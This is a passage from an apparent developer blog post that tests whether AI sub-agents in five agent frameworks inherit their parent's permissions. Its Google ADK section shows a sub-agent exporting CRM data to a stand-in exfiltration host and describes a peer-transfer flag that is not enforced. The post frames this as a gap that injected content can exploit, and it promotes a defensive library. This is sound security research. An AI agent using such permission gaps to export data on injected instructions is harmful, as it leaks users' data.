  
  Google ADK
&lt;/h2&gt;

&lt;p&gt;Coordinator holds &lt;code&gt;crm_query&lt;/code&gt;. The &lt;code&gt;exporter&lt;/code&gt; sub-agent declares &lt;code&gt;crm_query&lt;/code&gt; and &lt;code&gt;crm_export&lt;/code&gt;. The coordinator calls &lt;code&gt;transfer_to_agent&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  tool bodies that RAN         : [('crm_query', 50), ('crm_export', 'https://exfil.example/drop')]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A sub-agent with no tools is offered only &lt;code&gt;transfer_to_agent&lt;/code&gt;, and calling the parent's tool fails with &lt;code&gt;ValueError: Tool 'crm_query' not found&lt;/code&gt;. Same shape as the others: the child's list is its own. &lt;code&gt;AgentTool&lt;/code&gt; widens the same way inside the parent's turn.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;disallow_transfer_to_peers&lt;/code&gt; looks like a permission and isn't one. It shapes the instruction text and the &lt;code&gt;agent_name&lt;/code&gt; enum the model sees. In my run on 2.7.1 an agent with the flag set still transferred to its peer when the scripted model named it, and the peer ran &lt;code&gt;crm_export&lt;/code&gt;. That's the gap &lt;a href="https://github.com/google/adk-python/issues/3850" rel="noopener noreferrer"&gt;#3850&lt;/a&gt; described. A maintainer wrote there that "the ADK lacks a secondary, runtime-level check to validate that the calling agent has permission to transfer to the target agent." The issue was closed on 2026-06-18. The &lt;a href="https://adk.dev/agents/custom-agents/" rel="noopener noreferrer"&gt;docs&lt;/a&gt; describe the transfer mechanism and say nothing about what tools the target runs with. More on &lt;a href="https://attenu.io/blog/adk-peer-transfer/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;what crosses an ADK transfer&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the five have in common
&lt;/h2&gt;

&lt;p&gt;None of them consults the parent when the child's grant is computed. Four of five let the child hold a tool the parent doesn't. The fifth caps the tool pool but lets the permission mode loosen. In every case the child's grant comes from its own definition, and the handoff is routing.&lt;/p&gt;

&lt;p&gt;That's a reasonable design for the problem these frameworks set out to solve, which is coordinating work. It's the wrong default for the problem I have, which is a sub-agent that gets talked into something by the content it was handed. I found the same shape when I &lt;a href="https://attenu.io/blog/adversarial-review-bug-hunt/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;reviewed our own adapters like an attacker&lt;/a&gt;. I want the handoff to be a narrowing: the child holds the intersection of what it asks for and what the parent holds, and I can prove that from the log afterwards.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I do about it
&lt;/h2&gt;

&lt;p&gt;Each framework has a seam where you can add that intersection yourself. LangChain has &lt;code&gt;wrap_tool_call&lt;/code&gt;. CrewAI has &lt;code&gt;before_tool_call&lt;/code&gt; hooks. Claude Code has &lt;code&gt;PreToolUse&lt;/code&gt;. ADK has &lt;code&gt;before_tool_callback&lt;/code&gt; and plugins. The OpenAI Agents SDK has &lt;code&gt;RunHooks.on_tool_start&lt;/code&gt; and tool-level &lt;code&gt;is_enabled&lt;/code&gt;. The twelve-line LangGraph version is in the post above. I put the general version, scopes and ceilings and a lifetime instead of tool names, plus a hash-chained log you verify offline, in an open-source library, &lt;a href="https://github.com/attenu-io/attenu-guard" rel="noopener noreferrer"&gt;attenu-guard&lt;/a&gt;, with an adapter for each of these five and twelve more. The scripts behind every row in the table are in the repo under &lt;a href="https://github.com/attenu-io/attenu-guard/tree/main/examples/baselines" rel="noopener noreferrer"&gt;examples/baselines&lt;/a&gt;, so you can re-run them against the next release. Docs: &lt;a href="https://attenu.io/docs/?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=subagent-permissions" rel="noopener noreferrer"&gt;attenu-guard docs&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  So does a sub-agent inherit its parent's permissions?
&lt;/h2&gt;

&lt;p&gt;No. In LangGraph, CrewAI, the OpenAI Agents SDK and Google ADK the child runs whatever its own definition lists, and it can hold a tool the parent never had. In Claude Code the child's tools are capped at the parent's pool, but its permission mode can be looser than the parent's.&lt;/p&gt;

&lt;p&gt;If one of these frameworks does bound the child and I missed it, tell me. I'll re-run and correct the row.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>llm</category>
      <category>security</category>
    </item>
  </channel>
</rss>
